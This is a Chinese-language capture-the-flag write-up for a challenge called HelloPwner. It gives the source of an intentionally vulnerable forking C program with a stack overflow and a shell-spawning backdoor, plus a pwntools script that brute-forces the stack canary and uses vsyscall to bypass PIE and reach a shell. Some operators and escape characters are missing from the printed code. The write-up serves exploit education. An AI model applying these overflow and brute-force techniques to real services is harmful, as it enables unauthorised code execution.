Pwn-Protect_full-HelloPwner

2023-09-23 19:21:02 浏览数 (4)

解题思路

  1. Checksec后可以看到是64位保护全开,IDA打开分析反汇编代码
  1. vuln函数中的read读取数据时存在栈溢出,之后还可以看到程序中存在一个backdoor的后门函数,偏移地址位0xA33
  2. 先用gdb打开,分别在fork函数和read函数上下断点
  3. 当程序断到fork时,输入set follow-fork-mode child ,使当前gdb跟进程序子线程
  4. 之后直接c 输入完数据后,可以使用x /30gx rsi 和 x /1gx rbp|x /1gx
  5. 写脚本爆破canary后,在利用vsyscall爆破backdoor的地址
  6. 利用vsyscall爆破时需要注意,与无fork函数创建子进程的程序写法不同,无需重新加载整个源程序。

源码编译

代码语言:javascript复制
//gcc hello.c -z now -fpie -pie -g -m64 -fstack-protector -o hello_Pwner

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>  

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void backdoor(void) {
    system("/bin/sh");
}

void vuln() {
    char buf[100];
    read(0,buf,200);
    printf("%s",buf);
}

int main(void) {
    init();
    pid_t a;
    while(1){
        a = fork();
        if(a<0){
            break;
        }else if(a){
            wait(0);
        }else{
            puts("Hello,Pwner!");
            vuln();
        }
    }
    
    return 0;
}

EXP

代码语言:javascript复制
#coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"

sh = process("./hello_Pwner")
elf = ELF("./hello_Pwner")

### blasting_Canary
def canary_blasting(offset,input_prompt):
    #偏移量,输入提示
    sh.recvuntil(input_prompt 'n')
    canary = 'x00'
    for k in range(7):
        #因canary除去已知的x00后还剩7字节,所以循环7次
        for i in range(256):
        # 每字节的值从256中间取
            success("Canary ->" canary)
            log.info("-------------   No."   str(k)   ":"   chr(i) "   -------------")
            #gdb.attach(sh)
            sh.send('A'*offset   canary   chr(i))
            recv = sh.recvuntil(input_prompt "n")
            if "stack smashing detected" in recv:
                # 
                continue
            else:
                #当第K字节的值i传入栈后接受不到错误反馈则代表正确
                canary  = chr(i)
                #将其加入已知的canary中,继续爆破下一位
                success("Canary =>" canary)
                break
    return canary

canary = canary_blasting(0x70-0x8,"Hello,Pwner!")
#RBP-RSI-Canary = 0x70-0x8

### blasting_PIE
last_2 = ["x0a","x1a","x2a","x3a","x4a","x5a","x6a","x7a","x8a","x9a","xaa","xba","xca","xda","xea","xfa"]
vsyscall = 0xffffffffff600000
#不需要查看要覆盖地址距离RBP的偏移距离,直接爆破得出
for k in range(200):
    log.info("Blow up the end of PIE No." str(k))
    for i in last_2:
        payload = "A"*(0x70-0x8)   canary
        payload  = p64(vsyscall)*k "x33" i
        try:  
            #gdb.attach(sh)
            sh.send(payload)
            recv = sh.recvline()
            if "Hello" in recv :
                continue
            else:
                sh.interactive()
                break
        except KeyboardInterrupt:
            #当程序卡住不动时,CTRL C八成就拿到shell了
            sh.interactive()
        except:
            continue

1 人点赞